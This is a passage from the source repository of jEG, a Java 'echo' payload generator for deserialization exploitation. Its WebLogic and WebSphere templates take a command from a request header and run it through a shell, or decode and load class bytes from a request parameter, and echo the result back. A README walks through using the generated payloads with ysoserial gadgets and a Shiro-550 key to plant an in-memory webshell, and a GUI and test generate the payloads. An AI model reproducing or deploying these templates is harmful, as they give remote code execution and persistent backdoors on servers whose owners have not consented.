invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Method method = null; Class clazz = obj.getClass(); while (clazz != Object.class) { try { method = clazz.getDeclaredMethod(methodName, paramClazz); break; } catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); return method.invoke(obj, param); } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCodeExecTpl.java ================================================ package jeg.core.template.weblogic; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class WebLogicCodeExecTpl { static { new WebLogicCodeExecTpl(); } private String getReqParamName() { return "code"; } public WebLogicCodeExecTpl() { run(); } private void run() { String code = null; Thread thread = Thread.currentThread(); Object target = null; PrintWriter writer = null; try { target = invokeMethod(thread, "getCurrentWork", new Class[0], new Object[0]); code = (String) invokeMethod(target, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); Object response = invokeMethod(target, "getResponse", new Class[0], new Object[0]); writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); } catch (Exception e) { try { Object connectionHandler = getFV(target, "connectionHandler"); Object request = invokeMethod(connectionHandler, "getServletRequest", new Class[0], new Object[0]); if (code == null) { code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); } Object response = invokeMethod(connectionHandler, "getServletResponse", new Class[0], new Object[0]); writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); } catch (Exception ignored) { } } // define class String execRes = exec(code); // 回显执行结果 writer.write(execRes); writer.flush(); writer.close(); } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } private synchronized Object getFV(final Object o, final String s) throws Exception { Field declaredField = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException ex) { clazz = clazz.getSuperclass(); } } if (declaredField == null) { throw new NoSuchFieldException(s); } declaredField.setAccessible(true); return declaredField.get(o); } private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Method method = null; Class clazz = obj.getClass(); while (clazz != Object.class) { try { method = clazz.getDeclaredMethod(methodName, paramClazz); break; } catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); return method.invoke(obj, param); } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCmdExecTpl.java ================================================ package jeg.core.template.websphere; import jeg.core.template.weblogic.WebLogicCodeExecTpl; import java.io.InputStream; import java.util.Scanner; public class WebSphereCmdExecTpl { static { new WebSphereCmdExecTpl(); } private String getReqHeaderName() { return "cmd"; } public WebSphereCmdExecTpl() { run(); } private void run() { try { Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); Object[] obj_arr = (Object[]) obj; for (int i = 0; i < obj_arr.length; i++) { Object o = obj_arr[i]; if (o == null) continue; if (o.getClass().getName().endsWith("WebContainerRequestState")) { Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{getReqHeaderName()}); if (cmd != null && !cmd.isEmpty()) { String execRes = exec(cmd); java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); printWriter.println(execRes); } break; } } } catch (Exception e) { } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCodeExecTpl.java ================================================ package jeg.core.template.websphere; import java.lang.reflect.Field; import java.lang.reflect.Method; /** * 执行代码回显(classBytes) */ public class WebSphereCodeExecTpl { static { new WebSphereCodeExecTpl(); } public WebSphereCodeExecTpl() { run(); } // 传参:类字节码 private String getReqParamName() { return "code"; } private void run() { try { Class clazz = Thread.currentThread().getClass(); Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); Object[] obj_arr = (Object[]) obj; for (int i = 0; i < obj_arr.length; i++) { Object o = obj_arr[i]; if (o == null) continue; if (o.getClass().getName().endsWith("WebContainerRequestState")) { Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); String code = (String) req.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(req, new Object[]{getReqParamName()}); if (code != null && !code.isEmpty()) { String execRes = exec(code); java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); printWriter.println(execRes); } break; } } } catch (Exception e) { } } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/util/TemplateUtil.java ================================================ package jeg.core.util; import jeg.core.config.jEGConstants; import jeg.core.template.all.DFSCmdExecTpl; import jeg.core.template.all.DFSCodeExecTpl; import jeg.core.template.bes.BESCmdExecTpl; import jeg.core.template.bes.BESCodeExecTpl; import jeg.core.template.inforsuite.InforSuiteCmdExecTpl; import jeg.core.template.inforsuite.InforSuiteCodeExecTpl; import jeg.core.template.jetty.JettyCmdExecTpl; import jeg.core.template.jetty.JettyCodeExecTpl; import jeg.core.template.resin.ResinCmdExecTpl; import jeg.core.template.resin.ResinCodeExecTpl; import jeg.core.template.springmvc.SpringMVCCmdExecTpl; import jeg.core.template.springmvc.SpringMVCCodeExecTpl; import jeg.core.template.struts2.Struts2CmdExecTpl; import jeg.core.template.struts2.Struts2CodeExecTpl; import jeg.core.template.tomcat.TomcatCmdExecTpl; import jeg.core.template.tomcat.TomcatCodeExecTpl; import jeg.core.template.tongweb.TongWebCmdExecTpl; import jeg.core.template.tongweb.TongWebCodeExecTpl; import jeg.core.template.undertow.UndertowCmdExecTpl; import jeg.core.template.undertow.UndertowCodeExecTpl; import jeg.core.template.weblogic.WebLogicCmdExecTpl; import jeg.core.template.weblogic.WebLogicCodeExecTpl; import jeg.core.template.websphere.WebSphereCmdExecTpl; import jeg.core.template.websphere.WebSphereCodeExecTpl; import java.util.HashMap; import java.util.Map; public class TemplateUtil { private static final Map> classMap = new HashMap(); public static String getEchoTplClassName(String serverType, String modleType) { Map tplMap = (Map) classMap.get(serverType); return tplMap == null ? "" : tplMap.getOrDefault(modleType, ""); } static { // 1、jetty Map jettyMap = new HashMap(); jettyMap.put(jEGConstants.MODEL_CMD, JettyCmdExecTpl.class.getName()); jettyMap.put(jEGConstants.MODEL_CODE, JettyCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_JETTY, jettyMap); // 2、resin Map resinMap = new HashMap(); resinMap.put(jEGConstants.MODEL_CMD, ResinCmdExecTpl.class.getName()); resinMap.put(jEGConstants.MODEL_CODE, ResinCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_RESIN, resinMap); // 3、spring Map springmvcMap = new HashMap(); springmvcMap.put(jEGConstants.MODEL_CMD, SpringMVCCmdExecTpl.class.getName()); springmvcMap.put(jEGConstants.MODEL_CODE, SpringMVCCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_SPRING_MVC, springmvcMap); // 4、struts2 Map struts2Map = new HashMap(); struts2Map.put(jEGConstants.MODEL_CMD, Struts2CmdExecTpl.class.getName()); struts2Map.put(jEGConstants.MODEL_CODE, Struts2CodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_STRUTS2, struts2Map); // 5、tomcat Map tomcatMap = new HashMap(); tomcatMap.put(jEGConstants.MODEL_CMD, TomcatCmdExecTpl.class.getName()); tomcatMap.put(jEGConstants.MODEL_CODE, TomcatCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_TOMCAT, tomcatMap); // 6、weblogic Map weblogicMap = new HashMap(); weblogicMap.put(jEGConstants.MODEL_CMD, WebLogicCmdExecTpl.class.getName()); weblogicMap.put(jEGConstants.MODEL_CODE, WebLogicCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_WEBLOGIC, weblogicMap); // 7、websphere Map websphereMap = new HashMap(); websphereMap.put(jEGConstants.MODEL_CMD, WebSphereCmdExecTpl.class.getName()); websphereMap.put(jEGConstants.MODEL_CODE, WebSphereCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_WEBSPHERE, websphereMap); // 8、undertow Map undertowMap = new HashMap(); undertowMap.put(jEGConstants.MODEL_CMD, UndertowCmdExecTpl.class.getName()); undertowMap.put(jEGConstants.MODEL_CODE, UndertowCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_UNDERTOW, undertowMap); // 9、Unknown Map unknownMap = new HashMap(); unknownMap.put(jEGConstants.MODEL_CMD, DFSCmdExecTpl.class.getName()); unknownMap.put(jEGConstants.MODEL_CODE, DFSCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_UNKNOWN, unknownMap); // 10、BES Map besMap = new HashMap(); besMap.put(jEGConstants.MODEL_CMD, BESCmdExecTpl.class.getName()); besMap.put(jEGConstants.MODEL_CODE, BESCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_BES, besMap); // 11、InforSuite Map inforsuiteMap = new HashMap(); inforsuiteMap.put(jEGConstants.MODEL_CMD, InforSuiteCmdExecTpl.class.getName()); inforsuiteMap.put(jEGConstants.MODEL_CODE, InforSuiteCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_INFORSUITE, inforsuiteMap); // 12、BES Map tongwebMap = new HashMap(); tongwebMap.put(jEGConstants.MODEL_CMD, TongWebCmdExecTpl.class.getName()); tongwebMap.put(jEGConstants.MODEL_CODE, TongWebCodeExecTpl.class.getName()); classMap.put(jEGConstants.SERVER_TONGWEB, tongwebMap); } } ================================================ FILE: jeg-core/src/test/java/GeneratorTest.java ================================================ import jeg.common.util.ClassUtil; import jeg.core.config.jEGConstants; import jeg.core.jEGenerator; import jeg.core.config.jEGConfig; public class GeneratorTest { public static void main(String[] args) throws Throwable { // 基本配置 jEGConfig config = new jEGConfig() {{ // 设置待回显的中间件为 tomcat setServerType(jEGConstants.SERVER_TOMCAT); // 设置待执行的 payload 为命令执行回显 setModelType(jEGConstants.MODEL_CMD); // 设置 payload 的输出格式为 BASE64 setFormatType(jEGConstants.FORMAT_CLASS); // 初始化基础配置 build(); }}; config.setLoaderClassName(ClassUtil.getRandomLoaderClassName()); // 生成 payload jEGenerator generator = new jEGenerator(config); System.out.println("请求头: " + config.getReqHeaderName()); String payload = generator.getPayload(); System.out.println(payload.length()); System.out.println(payload); } } ================================================ FILE: jeg-docs/1.0.0/README.md ================================================ --- title: jEG v1.0.0 - 高度自定义的 Java 回显生成工具 author: pen4uin date: 2023-09-28 --- # jEG v1.0.0 - 高度自定义的 Java 回显生成工具 ## 0x01 简介 **jEG (Java Echo Generator)** 是一款支持高度自定义的 Java 回显载荷生成工具。 功能介绍 - 支持的中间件和框架 - Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow - SpringMVC/Struts2 - 支持的执行模式 (Command/Code) - 支持的输出格式 (BASE64/BCEL/BIGINTEGER/CLASS/JAR/JS) 执行模式 - 命令执行回显 - 代码执行回显(toString) 工作模式 - 作为 独立的 GUI 工具 - 作为 woodpecker 的插件 - 作为 第三方库 下载地址 - https://github.com/pen4uin/java-echo-generator ## 0x02 工具演示 ### 两种执行模式 **命令执行** 0、测试环境说明 - Tomcat v8.5.91 - JDK 8 - 原生反序列化漏洞 - CommonsBeanutils2 1、生成对应命令执行回显的 payload,继承 AbstractTranslet ![](./img/1708843903204.png) 2、使用 yso 进行序列化利用封装 ```shell java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils2 -a "class_file:/Users/NotFound/Temp/SessionDataUtil.class" | base64 ``` 3、通过请求头 Cache-Control-Ymirvesoc 传入需要执行的命令,如图,命令成功执行并回显 ![](./img/1708843933258.png) **代码执行** 0、测试环境说明 - SpringBoot 2.2.6.RELEASE - JDK 8 - Shiro 550 - CommonsBeanutils2_183 1、生成对应代码执行回显的 payload,继承 AbstractTranslet ![](./img/1708843968446.png) 2、使用 shiro 漏洞利用插件对 payload 进行加密处理 ``` yso_gadget=CommonsBeanutils2_183 yso_cmd=class_file:/Users/NotFound/Temp/CSVUtil.class shiro_key=kPH+bIxk5D2deZiIxcaaaA== aes_model=CBC ``` 3、准备需要执行的代码,这里以shiro常见的漏洞利用场景作为演示 - 注入内存马,使用 jMG 生成BASE64格式的内存马注入器 ![](./img/1708843998491.png) 4、通过请求参数 Dsyoi 传入需要执行的字节码,如图,代码成功执行并回显 ![](./img/1708844009402.png) 5、内存马注入成功 ![](./img/1708844020638.png) ### 三种工作模式 **图形化** 1、下载 jEG-gui-1.0.0.jar 运行即可 ![](./img/1708844053138.png) **Woodpecker 插件** 1、下载 jEG-woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可 ![](./img/1708844074999.png) **第三方库** 1、下载 jEG-core-1.0.0.jar 并安装到本地 maven 仓库 ```shell mvn install:install-file -Dfile=jEG-core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar ``` 2、引入自己的框架/工具的依赖中 ```xml jeg jeg-core 1.0.0 ``` 3、调用 API 生成需要的回显载荷即可 ## 0x03 小结 从 jMG 到 jEG,Java 漏洞利用的造“轮子”之旅也算可以告一段落了。 最后祝大家节日快乐!
参考 - https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/ - https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327 - https://github.com/feihong-cs/Java-Rce-Echo ================================================ FILE: jeg-docs/README_EN.md ================================================ todo ================================================ FILE: jeg-gui/pom.xml ================================================ 4.0.0 jeg java-echo-generator ${reversion} jEG-gui com.intellij forms_rt 7.0.3 com.formdev flatlaf 3.1 jeg jEG-core ${reversion} ${artifactId}-${reversion} org.apache.maven.plugins maven-assembly-plugin 3.6.0 jar-with-dependencies jeg.gui.jEGApp make-assembly package single ================================================ FILE: jeg-gui/src/main/java/jeg/gui/form/jEGForm.form ================================================
================================================ FILE: jeg-gui/src/main/java/jeg/gui/form/jEGForm.java ================================================ package jeg.gui.form; import com.intellij.uiDesigner.core.GridConstraints; import com.intellij.uiDesigner.core.GridLayoutManager; import com.intellij.uiDesigner.core.Spacer; import jeg.core.config.jEGConfig; import jeg.core.config.jEGConstants; import jeg.core.jEGenerator; import jeg.gui.util.ComponentUtil; import jeg.gui.util.TextPaneUtil; import javax.swing.*; import javax.swing.border.EmptyBorder; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.Locale; public class jEGForm { private static JFrame frame; private JComboBox serverBox; private JComboBox modelBox; private JComboBox gadgetBox; private JComboBox formatBox; private JTextField reqParamText; private JTextField reqHeaderNameText; private JTextField outputPathText; private JTextField classNameText; private JButton generateButton; private JPanel jEGPanel; private JPanel TopPanel; private JLabel serverLabel; private JLabel formatLabel; private JLabel modelLabel; private JLabel gadgetLabel; private JScrollPane textScrollPane; private JPanel MiddlePanel; private JLabel reqParamNameLabel; private JLabel headerNameLabel; private JLabel shellClsNameLabel; private JSeparator TopSep; private JSeparator MiddleSep; private JLabel authorLabel; private JLabel noticeLabel; private JPanel BottomPanel; private JPanel TipPanel; private JTextPane textPane; private jEGConfig config; public static void start() { Locale.setDefault(Locale.CHINA); frame = new JFrame(jEGConstants.JEG_NAME + " " + jEGConstants.JEG_VERSION); frame.setLocationRelativeTo(null); frame.setResizable(true); jEGForm jmgForm = new jEGForm(); JPanel contentPanel = jmgForm.jEGPanel; contentPanel.setBorder(new EmptyBorder(8, 10, 8, 10)); frame.setContentPane(contentPanel); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.pack(); frame.setVisible(true); Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); int centerX = screenSize.width / 2; int centerY = screenSize.height / 2; Dimension jfSize = frame.getSize(); int halfwidth = jfSize.width / 2; int halfHeight = jfSize.height / 2; frame.setLocation(centerX - halfwidth, centerY - halfHeight); } private String serverType = jEGConstants.SERVER_TOMCAT; private String modelType = jEGConstants.MODEL_CMD; private String gadgetType = jEGConstants.GADGET_NONE; private String formatType = jEGConstants.FORMAT_BASE64; private String outputDir; public jEGForm() { config = new jEGConfig(); String[] serverBoxItems = { jEGConstants.SERVER_TOMCAT, jEGConstants.SERVER_SPRING_MVC, jEGConstants.SERVER_RESIN, jEGConstants.SERVER_WEBLOGIC, jEGConstants.SERVER_WEBSPHERE, jEGConstants.SERVER_JETTY, jEGConstants.SERVER_UNDERTOW, jEGConstants.SERVER_STRUTS2, jEGConstants.SERVER_BES, jEGConstants.SERVER_INFORSUITE, jEGConstants.SERVER_TONGWEB, jEGConstants.SERVER_UNKNOWN }; String[] modelBoxItems = new String[]{ jEGConstants.MODEL_CMD, jEGConstants.MODEL_CODE}; String[] gadgetBoxItems = new String[]{ jEGConstants.GADGET_NONE, jEGConstants.GADGET_JDK_TRANSLET, jEGConstants.GADGET_XALAN_TRANSLET}; String[] formatBoxItems = new String[]{ jEGConstants.FORMAT_BASE64, jEGConstants.FORMAT_BCEL, jEGConstants.FORMAT_BIGINTEGER, jEGConstants.FORMAT_CLASS, jEGConstants.FORMAT_JAR, jEGConstants.FORMAT_JS }; serverBox.setModel(new DefaultComboBoxModel(serverBoxItems)); modelBox.setModel(new DefaultComboBoxModel(modelBoxItems)); gadgetBox.setModel(new DefaultComboBoxModel(gadgetBoxItems)); formatBox.setModel(new DefaultComboBoxModel(formatBoxItems)); serverBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { serverType = (String) serverBox.getSelectedItem(); } }); modelBox.addActionListener(e -> modelType = (String) modelBox.getSelectedItem()); gadgetBox.addActionListener(e -> gadgetType = (String) gadgetBox.getSelectedItem()); formatBox.addActionListener(e -> { formatType = (String) formatBox.getSelectedItem(); assert formatType != null; if (formatType.equalsIgnoreCase(jEGConstants.FORMAT_CLASS) || formatType.equalsIgnoreCase(jEGConstants.FORMAT_JAR)) { JFileChooser fileChooser = new JFileChooser(); fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); int result = fileChooser.showSaveDialog(jEGPanel); if (result == JFileChooser.APPROVE_OPTION) { String selectedPath = fileChooser.getSelectedFile().getPath(); outputDir = selectedPath; } } }); classNameText.getDocument().putProperty("owner", classNameText); classNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(classNameText, config::setClassName)); reqHeaderNameText.getDocument().putProperty("owner", reqHeaderNameText); reqHeaderNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(reqHeaderNameText, config::setReqHeaderName)); reqParamText.getDocument().putProperty("owner", reqParamText); reqParamText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(reqParamText, config::setReqParamName)); generateButton.addActionListener(e -> { TextPaneUtil.initTextPane(textPane); TextPaneUtil.startPrintln(serverType + " " + modelType + " " + gadgetType + " " + formatType + "\n"); try { jEGConfig config = new jEGConfig() {{ setServerType(serverType); setModelType(modelType); setGadgetType(gadgetType); setFormatType(formatType); setReqHeaderName(reqHeaderNameText.getText()); setReqParamName(reqParamText.getText()); setClassName(classNameText.getText()); setOutputDir(outputDir); build(); }}; // 生成 payload jEGenerator generator = new jEGenerator(config); String result = generator.getPayload(); TextPaneUtil.successPrintln("基础信息:"); TextPaneUtil.rawPrintln(""); if (config.getModelType().equals(jEGConstants.MODEL_CMD)) { TextPaneUtil.rawPrintln("请求头: " + config.getReqHeaderName()); } else { TextPaneUtil.rawPrintln("请求参数: " + config.getReqParamName()); } TextPaneUtil.rawPrintln("类名: " + config.getClassName()); TextPaneUtil.rawPrintln("载荷长度: " + config.getClassBytesLength()); TextPaneUtil.rawPrintln(""); TextPaneUtil.successPrintln("结果输出:"); TextPaneUtil.rawPrintln(""); TextPaneUtil.rawPrintln(result); ComponentUtil.restoreScrollPosition(textScrollPane); } catch (Throwable ex) { TextPaneUtil.errorPrintln(ex.getMessage()); } }); } { // GUI initializer generated by IntelliJ IDEA GUI Designer // >>> IMPORTANT!! <<< // DO NOT EDIT OR ADD ANY CODE HERE! $$$setupUI$$$(); } /** * Method generated by IntelliJ IDEA GUI Designer * >>> IMPORTANT!! <<< * DO NOT edit this method OR call it in your code! * * @noinspection ALL */ private void $$$setupUI$$$() { jEGPanel = new JPanel(); jEGPanel.setLayout(new GridLayoutManager(7, 1, new Insets(0, 0, 0, 0), -1, -1)); TopPanel = new JPanel(); TopPanel.setLayout(new GridLayoutManager(1, 8, new Insets(0, 0, 0, 0), -1, -1)); jEGPanel.add(TopPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); serverLabel = new JLabel(); serverLabel.setText("中间件/框架"); TopPanel.add(serverLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); formatLabel = new JLabel(); formatLabel.setText("输出格式"); TopPanel.add(formatLabel, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); modelLabel = new JLabel(); modelLabel.setText("回显模式"); TopPanel.add(modelLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); gadgetLabel = new JLabel(); gadgetLabel.setText("利用类型"); TopPanel.add(gadgetLabel, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); serverBox = new JComboBox(); final DefaultComboBoxModel defaultComboBoxModel1 = new DefaultComboBoxModel(); defaultComboBoxModel1.addElement("Tomcat"); defaultComboBoxModel1.addElement("SpringMVC"); defaultComboBoxModel1.addElement("Weblogic"); defaultComboBoxModel1.addElement("Websphere"); defaultComboBoxModel1.addElement("Resin"); defaultComboBoxModel1.addElement("Undertow"); defaultComboBoxModel1.addElement("Jetty"); defaultComboBoxModel1.addElement("SpringWebFlux"); serverBox.setModel(defaultComboBoxModel1); TopPanel.add(serverBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false)); modelBox = new JComboBox(); final DefaultComboBoxModel defaultComboBoxModel2 = new DefaultComboBoxModel(); defaultComboBoxModel2.addElement("Command"); defaultComboBoxModel2.addElement("Code"); modelBox.setModel(defaultComboBoxModel2); TopPanel.add(modelBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false)); gadgetBox = new JComboBox(); final DefaultComboBoxModel defaultComboBoxModel3 = new DefaultComboBoxModel(); defaultComboBoxModel3.addElement("NONE"); defaultComboBoxModel3.addElement("JDK_AbstractTranslet"); defaultComboBoxModel3.addElement("XALAN_AbstractTranslet"); gadgetBox.setModel(defaultComboBoxModel3); TopPanel.add(gadgetBox, new GridConstraints(0, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); formatBox = new JComboBox(); final DefaultComboBoxModel defaultComboBoxModel4 = new DefaultComboBoxModel(); defaultComboBoxModel4.addElement("BASE64"); defaultComboBoxModel4.addElement("BIGINTEGER"); defaultComboBoxModel4.addElement("BCEL"); defaultComboBoxModel4.addElement("CLASS"); defaultComboBoxModel4.addElement("JAR"); defaultComboBoxModel4.addElement("JS"); formatBox.setModel(defaultComboBoxModel4); TopPanel.add(formatBox, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); textScrollPane = new JScrollPane(); jEGPanel.add(textScrollPane, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 360), new Dimension(36, 207), null, 0, false)); textPane = new JTextPane(); textScrollPane.setViewportView(textPane); MiddlePanel = new JPanel(); MiddlePanel.setLayout(new GridLayoutManager(2, 4, new Insets(0, 0, 0, 0), -1, -1)); jEGPanel.add(MiddlePanel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); reqParamNameLabel = new JLabel(); reqParamNameLabel.setText("请求参数"); MiddlePanel.add(reqParamNameLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); reqParamText = new JTextField(); reqParamText.setToolTipText("可选,默认随机生成"); MiddlePanel.add(reqParamText, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); headerNameLabel = new JLabel(); headerNameLabel.setText("请求头键"); MiddlePanel.add(headerNameLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); reqHeaderNameText = new JTextField(); reqHeaderNameText.setText(""); reqHeaderNameText.setToolTipText("可选,默认随机生成"); MiddlePanel.add(reqHeaderNameText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); shellClsNameLabel = new JLabel(); shellClsNameLabel.setText("类名"); MiddlePanel.add(shellClsNameLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, 